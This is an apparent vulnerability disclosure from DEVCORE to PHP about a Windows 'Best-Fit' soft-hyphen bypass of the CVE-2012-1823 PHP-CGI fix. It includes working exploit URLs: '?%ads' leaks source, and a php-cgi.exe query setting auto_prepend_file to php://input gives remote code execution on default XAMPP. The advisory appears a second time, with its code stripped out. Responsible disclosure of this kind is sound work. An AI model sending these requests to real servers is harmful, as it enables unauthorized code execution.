Hi,
I am Orange Tsai from DEVCORE Research Team. We recently found a vulnerability on PHP. We have reproduced the issues in the latest version of PHP 8.3.6 and would like to report it to you. Please check the attached document for details.
This advisory is in accordance with our vulnerability disclosure policy, which will be publicly disclosed after 90 days. Our aim is to ensure that vulnerabilities can be patched in a timely manner. Although it’s not a hard deadline, we still hope you can fix this vulnerability before August 04, 2024.
Please let me know if you have any questions, thanks!
Impact
An attacker can execute arbitrary PHP code on the remote server. This vulnerability affects the PHP built with Windows.
Details
The PHP-CGI which configured under Apache HTTP Server accepts the command-line arguments by default. This behavior was prove to vulnerable, and tracked as CVE-2012-1823 before. The PHP published the following code to patch the vulnerability:
# Path: sapi/cgi/cgi_main.c:1801 https://github.com/php/php-src/blob/php-8.0.30/sapi/cgi/cgi_main.c#L1801
/* {{{ main */
int main(int argc, char *argv[])
{
int free_query_string = 0;
int exit_status = SUCCESS;
int cgi = 0, c, i;
size_t len;
zend_file_handle file_handle;
char *s;
// ...
// [1] this is the patch of CVE-2012-1823
if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {
/* we've got query string that has no = - apache CGI will pass it to command line */
unsigned char *p;
decoded_query_string = strdup(query_string);
php_url_decode(decoded_query_string, strlen(decoded_query_string));
for (p = (unsigned char *)decoded_query_string; *p && *p <= ' '; p++) {
/* skip all leading spaces */
}
if(*p == '-') {
skip_getopt = 1;
}
free(decoded_query_string);
}
while (!skip_getopt && (c = php_getopt(argc, argv, OPTIONS, &php_optarg, &php_optind, 0, 2)) != -1) {
switch (c) {
// process the arguments
}
}
This argument argv
is based on the QUERY_STRING
, and the patch checks for no leading hyphen on the QUERY_STRING
to ensure there are no dangerous arguments. However, if the binding between argv
and QUERY_STRING
is broken, the vulnerability of PHP-CGI Argument Injection would reappear!
This patch will fail under the Windows system. Internally, Windows uses UCS-2 as its character set. Any characters passed to the ANSI Win32 API (such as GetCommandLineA
), especially those with code point greater than 0x80, will be mapped to the corresponding UCS-2 code points by the current code page.
The Windows internal also introduces a "Best-Fit" feature that replace the character if there is a more suitable character to display in the destination code page.
The description and specification can be found here:
This "Best-Fit" behavior also introduces some quirks to bypass the original fix. For example: the best-fit replacement of the code point 0xAD (soft-hyphen) is the normal hyphen 0x2D under the code page 932, 936 and 950. That leads to the bypass.
For a default PHP-CGI configuration under Apache HTTP Server + Windows, the original PoC would no longer work because of the patch of CVE-2012-1823.
http://server/index.php?-s
However, if the attacker change the -
to %ad
, it bypasses the patch and inject -s
to show the PHP source code...
http://server/index.php?%ads
Here is a small PoC to demonstrate the quirk:
#include <stdio.h>
int main(int argc, char *argv[], char *env[]) {
if (argc == 2) printf("[1] = %s\n", argv[1]);
return 0;
}
You can build it under the Visual Studio, and check the above quirk:
C:\Users\orange\source\repos\test-cli\x64\Debug> dir
test-cli.exe test.py
C:\Users\orange\source\repos\test-cli\x64\Debug> type test.py
from subprocess import check_output
print(check_output(['./test-cli.exe', '\xads']))
C:\Users\orange\source\repos\test-cli\x64\Debug> python3 test.py
b'./test-cli.exe -s\r\n
PoC
In theory, this vulnerability affects all PHP-CGI installations that are running under Apache HTTP Server on Windows. However, the Apache HTTP Server did not accept the UTF-8 during the request processing. To meet the vulnerable scenario, the condition must meets (1) The code page has the "Best-Fit" behavior and (2) A code point smaller than 0xFF that maps to 0x2D.
Only the PHP-CGI under the Windows whose region are from Japan, China, Hong Kong, Macao, Singapore and Taiwan are affected.
To reproduce the vulnerability, we have set up a demo on a system running Windows 11 and the latest version of XAMPP. Although the PHP version included with the latest XAMPP release is not up-to-date, it is sufficient for this demonstration. We have verified that the bug can be reproduced on the latest PHP version, 8.3.6. This setup is solely for demonstration purposes.
1. Check the Windows 11 is the latest version
![image](https://private-user-images.githubusercontent.com/3805558/328248274-e5eb2bfb-6628-427c-aabc-ca8f6763f350.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3Mzk1MTIwOTcsIm5iZiI6MTczOTUxMTc5NywicGF0aCI6Ii8zODA1NTU4LzMyODI0ODI3NC1lNWViMmJmYi02NjI4LTQyN2MtYWFiYy1jYThmNjc2M2YzNTAucG5nP1gtQW16LUFsZ29yaXRobT1BV1M0LUhNQUMtU0hBMjU2JlgtQW16LUNyZWRlbnRpYWw9QUtJQVZDT0RZTFNBNTNQUUs0WkElMkYyMDI1MDIxNCUyRnVzLWVhc3QtMSUyRnMzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyNTAyMTRUMDU0MzE3WiZYLUFtei1FeHBpcmVzPTMwMCZYLUFtei1TaWduYXR1cmU9MmQ4YWFmYjU2MGYwMmFkODhjNjQyZDYzMjMxZTVlZjdjNWUzN2YyYmVjMjQxZDIwMDBkZDcwZTU2ZWU5ODc4MiZYLUFtei1TaWduZWRIZWFkZXJzPWhvc3QifQ.ANvK-r3XxnSNIZVTWIaeYMNr4OACgL6kCFuZFqklCWE)
2. Ensure the locale is in one of the vulnerable region from Windows
-> Settings
-> Time & language
-> Language & region
-> Administrative language settings
-> Change system locale...
. Here we use Japan as an example.
![image](https://private-user-images.githubusercontent.com/3805558/328248349-080bf2ee-ca78-4122-ac8f-f84b99559192.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3Mzk1MTIwOTcsIm5iZiI6MTczOTUxMTc5NywicGF0aCI6Ii8zODA1NTU4LzMyODI0ODM0OS0wODBiZjJlZS1jYTc4LTQxMjItYWM4Zi1mODRiOTk1NTkxOTIucG5nP1gtQW16LUFsZ29yaXRobT1BV1M0LUhNQUMtU0hBMjU2JlgtQW16LUNyZWRlbnRpYWw9QUtJQVZDT0RZTFNBNTNQUUs0WkElMkYyMDI1MDIxNCUyRnVzLWVhc3QtMSUyRnMzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyNTAyMTRUMDU0MzE3WiZYLUFtei1FeHBpcmVzPTMwMCZYLUFtei1TaWduYXR1cmU9MmJlMmViOWNlMTAxZDdkNTIxNjk5YjE1Yjg4ZjdhZjU4ODYxY2YwMGM4N2UzZTViNGY5NDI3MWUzOTQ4NDgzMSZYLUFtei1TaWduZWRIZWFkZXJzPWhvc3QifQ.LyjrUhKjQmpRVI18vGj4LKRkRbrj1UjTAC_gFRrfy5I)
3. Exploit scenarios:
3-1. If the target server is running under the PHP-CGI mode, you can just verify the vulnerability by appending the -s
option:
http://server/index.php?%ads
![image](https://private-user-images.githubusercontent.com/3805558/331956158-ec6513fe-8620-4a25-bd2a-f35a788d1303.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3Mzk1MTIwOTcsIm5iZiI6MTczOTUxMTc5NywicGF0aCI6Ii8zODA1NTU4LzMzMTk1NjE1OC1lYzY1MTNmZS04NjIwLTRhMjUtYmQyYS1mMzVhNzg4ZDEzMDMucG5nP1gtQW16LUFsZ29yaXRobT1BV1M0LUhNQUMtU0hBMjU2JlgtQW16LUNyZWRlbnRpYWw9QUtJQVZDT0RZTFNBNTNQUUs0WkElMkYyMDI1MDIxNCUyRnVzLWVhc3QtMSUyRnMzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyNTAyMTRUMDU0MzE3WiZYLUFtei1FeHBpcmVzPTMwMCZYLUFtei1TaWduYXR1cmU9Yjg3ZGYyNmQyNTIyYTU1MTViMjMwMzkwNmYxYWY5YmNmNGI5ZTY1YzNjZDllMDg2NGI5MzBkM2JjYmY1MzE2ZSZYLUFtei1TaWduZWRIZWFkZXJzPWhvc3QifQ.5j7ZYXgXuD2NM3TX7e8kQzo-KG4TYGEaUQkHleEVBgc)
3-2. If the php-cgi.exe
is exposed externally, it can also be exploited without any additional change. XAMPP is exactly in this situation. The default XAMPP installation is VULNERABLE BY DEFAULT. You can just install the latest version of XAMPP here, and get arbitrary PHP code execution by auto_prepend_file
:
http://server/php-cgi/php-cgi.exe?%add+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
PS: Please note the Redirect-Status
header matters.
![image](https://private-user-images.githubusercontent.com/3805558/331888123-c320768a-a9aa-4d8c-b60b-6c25db8fae4e.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3Mzk1MTIwOTcsIm5iZiI6MTczOTUxMTc5NywicGF0aCI6Ii8zODA1NTU4LzMzMTg4ODEyMy1jMzIwNzY4YS1hOWFhLTRkOGMtYjYwYi02YzI1ZGI4ZmFlNGUucG5nP1gtQW16LUFsZ29yaXRobT1BV1M0LUhNQUMtU0hBMjU2JlgtQW16LUNyZWRlbnRpYWw9QUtJQVZDT0RZTFNBNTNQUUs0WkElMkYyMDI1MDIxNCUyRnVzLWVhc3QtMSUyRnMzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyNTAyMTRUMDU0MzE3WiZYLUFtei1FeHBpcmVzPTMwMCZYLUFtei1TaWduYXR1cmU9NmE5ZDlmZmJmNmY1NGE1NmY4MjdlMTUyNDRmMmJkMmM1M2NhZmYzOTdkZTU5NTg4MTA2NzZlNzJlM2NhMTNiYiZYLUFtei1TaWduZWRIZWFkZXJzPWhvc3QifQ.0elRfwWdgHfmYShe0t-ybWqArWZyNSU2TBMX6iPfZBU)
Credit Discovery To
Orange Tsai (@orange_8361) from DEVCORE Research Team
Hi,
I am Orange Tsai from DEVCORE Research Team. We recently found a vulnerability on PHP. We have reproduced the issues in the latest version of PHP 8.3.6 and would like to report it to you. Please check the attached document for details.
This advisory is in accordance with our vulnerability disclosure policy, which will be publicly disclosed after 90 days. Our aim is to ensure that vulnerabilities can be patched in a timely manner. Although it’s not a hard deadline, we still hope you can fix this vulnerability before August 04, 2024.
Please let me know if you have any questions, thanks!
Impact
An attacker can execute arbitrary PHP code on the remote server. This vulnerability affects the PHP built with Windows.
Details
The PHP-CGI which configured under Apache HTTP Server accepts the command-line arguments by default. This behavior was prove to vulnerable, and tracked as CVE-2012-1823 before. The PHP published the following code to patch the vulnerability:
# Path: sapi/cgi/cgi_main.c:1801 https://github.com/php/php-src/blob/php-8.0.30/sapi/cgi/cgi_main.c#L1801
This argument
argv
is based on theQUERY_STRING
, and the patch checks for no leading hyphen on theQUERY_STRING
to ensure there are no dangerous arguments. However, if the binding betweenargv
andQUERY_STRING
is broken, the vulnerability of PHP-CGI Argument Injection would reappear!This patch will fail under the Windows system. Internally, Windows uses UCS-2 as its character set. Any characters passed to the ANSI Win32 API (such as
GetCommandLineA
), especially those with code point greater than 0x80, will be mapped to the corresponding UCS-2 code points by the current code page.The Windows internal also introduces a "Best-Fit" feature that replace the character if there is a more suitable character to display in the destination code page.
The description and specification can be found here:
This "Best-Fit" behavior also introduces some quirks to bypass the original fix. For example: the best-fit replacement of the code point 0xAD (soft-hyphen) is the normal hyphen 0x2D under the code page 932, 936 and 950. That leads to the bypass.
For a default PHP-CGI configuration under Apache HTTP Server + Windows, the original PoC would no longer work because of the patch of CVE-2012-1823.
However, if the attacker change the
-
to%ad
, it bypasses the patch and inject-s
to show the PHP source code...Here is a small PoC to demonstrate the quirk:
You can build it under the Visual Studio, and check the above quirk:
PoC
In theory, this vulnerability affects all PHP-CGI installations that are running under Apache HTTP Server on Windows. However, the Apache HTTP Server did not accept the UTF-8 during the request processing. To meet the vulnerable scenario, the condition must meets (1) The code page has the "Best-Fit" behavior and (2) A code point smaller than 0xFF that maps to 0x2D.
Only the PHP-CGI under the Windows whose region are from Japan, China, Hong Kong, Macao, Singapore and Taiwan are affected.
To reproduce the vulnerability, we have set up a demo on a system running Windows 11 and the latest version of XAMPP. Although the PHP version included with the latest XAMPP release is not up-to-date, it is sufficient for this demonstration. We have verified that the bug can be reproduced on the latest PHP version, 8.3.6. This setup is solely for demonstration purposes.
1. Check the Windows 11 is the latest version
2. Ensure the locale is in one of the vulnerable region from
Windows
->Settings
->Time & language
->Language & region
->Administrative language settings
->Change system locale...
. Here we use Japan as an example.3. Exploit scenarios:
3-1. If the target server is running under the PHP-CGI mode, you can just verify the vulnerability by appending the
-s
option:3-2. If the
php-cgi.exe
is exposed externally, it can also be exploited without any additional change. XAMPP is exactly in this situation. The default XAMPP installation is VULNERABLE BY DEFAULT. You can just install the latest version of XAMPP here, and get arbitrary PHP code execution byauto_prepend_file
:PS: Please note the
Redirect-Status
header matters.Credit Discovery To
Orange Tsai (@orange_8361) from DEVCORE Research Team